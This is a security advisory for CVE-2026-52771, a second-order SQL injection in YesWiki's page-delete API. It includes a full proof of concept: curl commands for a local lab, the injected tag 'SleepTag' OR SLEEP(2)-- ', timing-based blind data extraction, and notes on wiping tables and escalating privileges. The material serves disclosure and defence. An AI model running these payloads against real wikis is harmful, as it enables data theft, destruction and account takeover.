CVE-2026-52771

Description

## Summary `ApiController::deletePage()` interpolates a page tag retrieved from the database into a `DELETE FROM …_links WHERE to_tag = '$tag'` query without escaping. The page tag is attacker-controlled — the `POST /api/pages/{tag}` API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard `{{include page="…"}}` link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table. This is a **classic second-order SQL injection**: the `INSERT` correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the *read-back-and-reuse* path, where escaping is omitted. ## Details ### Affected component * **File:** `includes/controllers/ApiController.php` * **Method:** `ApiController::deletePage($tag)` * **Route:** `@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})` — `acl:"+"` means *any authenticated user*. * **Sink:** line 626 ```php // includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 607–631) public function deletePage($tag) { $pageManager = $this->getService(PageManager::class); $pageController = $this->getService(PageController::class); $dbService = $this->getService(DbService::class); ... try { $page = $pageManager->getOne($tag, null, false); // (a) safe SELECT if (empty($page)) { ... } else { $tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB $result['notDeleted'] = [$tag]; if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) { if (!$pageManager->isOrphaned($tag)) { $dbService->query( "DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'"); // (b) SINK — unescaped } ... ``` The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation: * `tools/tags/handlers/page/__deletepage.php` line 14 - `DELETE … WHERE to_tag = '$tag'`, where `$tag = $this->GetPageTag()` is again the raw stored tag. * `handlers/page/deletepage.php` lines 93–94 - `LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'")`, same pattern as a SELECT instead of a DELETE. The API path is the easiest sink to reach because it requires only `acl:"+"` and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler A low-privilege account can carry the whole chain: 1. **Plant** — `POST /api/pages/{evil}` with body=anything. `PageManager::save()` escapes the tag at INSERT time (`'\''` in SQL ⇒ stored `'`), so the tag persists with its single quote intact. The new page is owned by the attacker, so `UserIsOwner($tag)` in the delete handler will return true. 2. **Make non-orphaned** — save *any* second page whose body contains `{{include page="<evil>"}}` through the web edit handler. `LinkTracker::preventTrackingActions()` parses the include directive, looks up the referenced page (`PageManager::getOne()` finds it because lookup uses `escape()`, which matches the stored quote), and `LinkTracker::persist()` inserts a row `(from_tag='Linker', to_tag='<evil>')` into `_links` — again with `escape()` on the way in, so the raw quote round-trips. 3. **Trigger** — `DELETE /api/pages/{evil}`. The delete handler reads the page (escaped SELECT, finds the row), assigns `$tag = $page['tag']` (the raw stored value, including `'`), runs `isOrphaned($tag)` (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the **unescaped** `DELETE FROM …_links WHERE to_tag = '$tag'`. The SQL parser sees the attacker-controlled `'` as the end of the string literal; everything after it is treated as SQL. The injection point is `WHERE to_tag = '<here>'` — any payload of the form `<anything>' <SQL>-- ` works. With time-based primitives (`SLEEP`), the attacker reads any byte of any row of any table the wiki account can see. ### End to End Steps to reproduce the issue 1. Preflight * lab is up at http://localhost:8085 2. Logging in * admin 'WikiAdmin' and low-priv 'TestUser01' both logged in 3. Tier 1 - POST /api/pages/<evil-tag> (as TestUser01) * PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- ' 4. Tier 2 - make the evil page non-orphaned * PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)-- 5. Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01) * baseline (non-existent tag) : 0.468s * exploit (SLEEP(2) in tag) : 2.555s * delta : 2.087s * PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626 6. Tier 3 - time-based blind data exfiltration * char='w' elapsed=0.505s miss * char='x' elapsed=0.495s miss * char='y' elapsed=3.522s <- HIT * char='z' elapsed=0.662s miss * PROOF : conditional SLEEP fired only for 'y' RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED. ## PoC ### Pre Reqs Had the following things setup in advance: 1. Yeswiki v4.6.5 lab image (Setup via podman) 3. Admin & User Account setup. Parts used across PoC: * Site responding at `http://localhost:8085` * Admin account: `WikiAdmin / AdminPoc12345` * Low-priv account: `TestUser01 / TestPass12345` *(this is the attacker)* For the rest of this document, set: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" PREFIX="yeswiki_" CJ=/tmp/yw_user.txt # cookie jar for our low-priv attacker ``` Confirm the vulnerable line is actually there: ```bash podman exec "$CTR" \ grep -n "DELETE FROM.*links.*WHERE to_tag" \ /var/www/html/includes/controllers/ApiController.php ``` **Expected output:** ``` 626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'"); ``` Log in as the low-privilege attacker. We will get the session in return ```bash rm -f "$CJ" curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \ --data-urlencode "action=login" --data-urlencode "context=LoginPoc" \ --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \ --data-urlencode "remember=1" # Verify the session is logged in: SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}') podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}" ``` Plant a page whose **tag** contains SQL meta-characters. The Symfony route accepts the default `[^/]+` regex for `{tag}`, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the **stored** byte string still contains the literal `'`. That is the seed of the second-order bug. ```bash EVIL_TAG="SleepTag' OR SLEEP(2)-- " EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \ podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));') echo "raw tag : $EVIL_TAG" echo "URL-encoded : $EVIL_ENC" curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \ --data-urlencode "body=poc" ``` * The API accepted a tag with a literal `'` and SQL keywords, completely unsanitized. * The single quote round-tripped through `PageManager::save()`'s `escape()` and is now sitting in the database byte-for-byte as `SleepTag' OR SLEEP(2)-- ` — exactly what an attacker needs the read-back to return. * `TestUser01` is the owner, so the eventual `UserIsOwner($tag)` check in the delete handler will pass for them. Now, create a second page that will link to the evil page The sink at L626 is gated by `if (!$pageManager->isOrphaned($tag))`. To pass it, the evil tag has to appear as a `to_tag` somewhere in the `_links` table. The cleanest way is the legitimate `{{include page="…"}}` mechanism: a page whose body references the evil tag will register a link. First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor): ```bash curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \ --data-urlencode "body=placeholder" # Grab its id — we'll need it for the edit form's hidden "previous" field LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \ "SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';") echo "LinkPoc id = $LINKID" ``` Make the evil page non-orphaned (web edit handler) Submit a web-editor save with body `{{include page="<evil tag>"}}`. The pre-handler `tools/security/handlers/page/__edit.php` would normally require a hashcash token, but `env/install.sh` disables `use_hashcash` so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger. ```bash NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1' curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \ --data-urlencode "submit=Sauver" \ --data-urlencode "previous=${LINKID}" \ --data-urlencode "body=${NEW_BODY}" ``` * The web edit handler called `LinkTracker::registerLinks($page, false, false)` (handlers/page/edit.php:69). * `registerLinks()` formatted the page body and reached `preventTrackingActions()` (includes/services/LinkTracker.php:160). * That regex extracted `SleepTag' OR SLEEP(2)-- ` from `{{include page="…"}}`, called `PageManager::getOne(<extracted>)` which found the page (lookup uses `escape()`, so a stored `'` still matches), and called `$this->add($page['tag'])`. * `LinkTracker::persist()` then inserted `(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')` into `_links`. **Proves:** the second-order data has now been planted on **both** sides of the join the vulnerable DELETE query touches. We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist: ```bash T0=$(date +%s.%N) curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null T1=$(date +%s.%N) awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}" ``` **Expected output:** baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast `SELECT … WHERE tag = …`). Record this number. Trigger the SQLi (Tier 2 - the actual vulnerability fires) Issue a `DELETE /api/pages/<evil tag>`. The handler reads the page back from the DB, sees the row, takes `$tag = $page['tag']` (the **raw** stored value, still containing `'`), checks `isOrphaned()` (returns *not* orphaned because step 5 inserted a row), and runs the **unescaped** DELETE on L626. With our tag, that becomes: ```sql DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- ' ^^^ ^^^^^^^^^^^^^^^^ | injected SQL breakout ``` `SLEEP(2)` runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding. ```bash T0=$(date +%s.%N) curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json T1=$(date +%s.%N) awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}" echo "--- response ---" cat /tmp/yw_del.json; echo ``` **Expected output (the precise timing varies by host, but the *delta* relative to step 6 is what matters):** ``` exploit elapsed: 2.555s --- response --- {"deleted":["SleepTag' OR SLEEP(2)-- "]} ``` ## Impact * Blind extraction of any column the wiki database account can read: user password hashes (`_users.password`), email addresses, ACLs (`_acls.list`), private page bodies (`_pages.body`), database session data, etc. * The sink is a `DELETE`; an attacker can append `OR 1=1-- ` to wipe the entire `_links` table, breaking inter-page navigation site-wide. The path can also be combined with `UNION`-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). * `SLEEP()` per row scales with link-table size; a malicious tag with `SLEEP(60)` on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool. * `_users.password` hashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a **low-priv → admin** primitive, and chains with the bazar deserialization bug (separate advisory) as **low-priv → admin → object injection / future RCE**